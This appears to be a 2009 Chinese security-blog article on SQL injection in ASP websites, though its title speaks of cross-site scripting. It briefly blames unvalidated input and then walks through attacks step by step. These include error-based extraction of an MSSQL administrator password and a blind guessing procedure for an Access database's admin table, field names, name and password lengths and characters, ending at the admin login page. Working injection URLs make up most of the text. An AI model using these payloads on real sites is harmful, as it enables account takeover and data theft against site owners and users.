专注于互联网--专注于架构

最新标签
网站地图
文章索引
Rss订阅

首页 »安全 » 跨站脚本漏洞:网站WebSite脚本漏洞形成的原因 »正文

跨站脚本漏洞:网站WebSite脚本漏洞形成的原因

来源: 发布时间:星期六, 2009年9月12日 浏览:0次 评论:0
来源:安全中国

随着网络经济复舒开始越来越多网站WebSite涌现出来随着脚本漏洞挖掘黑客也越来越猖狂并且越来越低龄化和傻瓜化“你只要会用个工具就可以黑站”这就是脚本漏洞利特点这些漏洞主要成因是编程素质往往在编写asp或php等时候对过滤不严密对注入漏洞不了解或者某个参数忘记检查导致

由于编写网页这个行业入门门槛不高水平及经验也参差不齐相当大部分员在编写代码时候没有对用户输入数据合法性进行判断使应用存在安全隐患用户可以提交段数据库查询代码根据返回结果获得某些他想得知数据这就是所谓SQL Injection即SQL注入

相当大部分员在编写代码时候没有对用户输入数据合法性进行判断使应用存在安全隐患我们看个例子:在本机建个基于iisasphttp://localhost/test/show.asp?ID=3将这个网址提交到服务器后服务器将进行类似Select * from 表名 where 字段="&ID查询(ID即客户端提交参数本例即是3)再将查询结果返回给客户端如果这里客户端故意提交这么个网址:http://localhost/test/show.asp?ID=3 and user>0这时服务器运行Select * from 表名 where 字段=444 and user>0这样查询当然这个语句是运行不下去肯定出错信息如下:

  ·类型:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 ’test’ 转换为数据类型为  列时发生语法
/test/show.asp, 第 34 行

从这个出错信息中我们可以获得以下信息:该站使用MSSQL数据库用ODBC连接连接帐号名为:test所谓SQL注入就是利用员对用户输入数据合法性检测不严或不检测特点故意从客户端提交特殊代码从而收集及服务器信息从而获取想得到资料通常别有用心者目标是获取网站WebSite管理员帐号和密码比如当知道网站WebSite管理员帐号存在表login中管理员帐号名为admin 想知道admin密码这里接着从客户端提交这样个网址:
http://localhost/test/show.asp?ID=4 and (Select password fro

m login where user_name=’admin’)>0返回出错信息如下:

  ·类型:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 ’admin888’ 转换为数据类型为  列时发生语法
/test/show.asp, 第 34 行

现在出来了“admin888”就是管理员密码!得到这个密码这时您就可以用这个帐号和密码接管人家网站WebSite了!当然我们并不知道帐号就在表login中而且也不知道管理员名为admin但这些不容难办到我们可以写个工具进行猜解速度很快就可以找到你想要东西了前面是有关mssql数据库注入基础我们再看看acce数据库注入基础:首先进行浏览器设置以保证手工注入时能返回出错信息其操作步骤为:右键单击浏览器图标选择“属性”在弹出来对话框中选择“高级”选项卡接着去掉“显示友好HTTP信息”前面最后点击“应用”按钮即可

对于sql注入得先找到注入点注入点判断思路方法为:通常打开个类似http://wwww.xx

xx.com/xxx.asp?id=xxurl后加个单引号变成http://ww.xxx.com/xxx.asp?id=xx’

如果出现提示则介绍说明可能存在注入漏洞再输入http://www.xxx.com/xxx.asp?id=xx and 1=1如果存在SQL注入漏洞就可以查询数据库1=1是个恒等式可以忽略因此会返回个正常页面此页面和http://wwww.xxxx.com/xxx.asp?id=xx这时入侵者便判断此站有希望被注入如果返回信息那么些初级入侵者可能就会放弃这个站点入侵者进步向浏览器提交如下url: http://www.xxx.com/xxx.asp?id=xx and 1=21=2为个恒不等式,如果该站点支持数据库查询,则大概会返回如下所示信息:

Microsoft vbscript 编译器 码率 

‘800a03f6’                                                                                                                 

缺少’End’

/iishelp/common/500-100.asp,行242

ADODB.Field  ‘800a0bcd’

般出现以上信息就可以确定存在sql注入漏洞了下面我们来看下sql注入过程分析:    

  如: 打开:http://hostlocal/test2/list.asp?id=17在其后面加'为http://hostlocal/test2/list.asp?id=17'
出错!显示为:“数据库出错”那么接下来我们便进行如下操作:

1 猜管理员帐号表
2 猜相应表中用户字段名以及密码字段名
3 猜出用户名长度和密码长度
4 猜出用户和密码
5 找到管理页面进入管理

猜管理员表:                            

 http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin)'//min(id)返回表中ID最小值
返回文章证明个admin表;如果没有返回文章证明出错不存在admin这个表
    
猜用户字段名:
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where user='aaa')返回信息表示没有user这个用户段名
再来!~~~http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where username='aaa')
没有返回信息又没有返回文章提示找不到文章证明在admin中存在username个字段只是用户名不是aaa

猜密码字段名:
http://hostlocal/test2/list.asp?id=17 and 1=(select min(i

d) from admin where passwd='aaa')返回信息表示没有passwd这个密码字段名                        

再来:http://hostlocal/test2/list.asp?id=17 and 1=(select

 min(id) from admin where password=aaa')没有返回信息又没有返回文章提示找不到文章证明在admin中存在password这个字段只是密码不是aaa

猜用户字段名长度:                          

http://hostlocal/test2/list.asp?id=17 and 1=(select min(

id) from admin where len(username)

>5)                                                             

 正确
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)<10)
正确
用户名长度大于5小于10
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)

=7)                                                              

呵``` 用户名长度为7位

猜密码长度:
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)>5)
正确
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)<10)
正确
密码长度也是大于5小于10
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)=7)
呵``` 密码长度为7位

猜用户名:
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,1,1)='a')

 用户名第个字母是:a                                                          

猜用户名第 2位:http://hostlocal/test2/list.asp?id=17 and 1=

(select min(id) from admin where mid(username,2,1)='b')                                             

以此类推!

猜密码:                                                                       

猜密码跟猜用户名样!
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(password,1,1)='a') 
猜完后来到管理页面:
http://hostlocal/test2/admin.asp

登录



  • 篇文章: OfficeMan-V2.1简单算法分析-菜鸟篇

  • 篇文章: Php网站WebSite脚本注入原理
  • 0

    相关文章

    读者评论

    发表评论

    • 昵称:
    • 内容: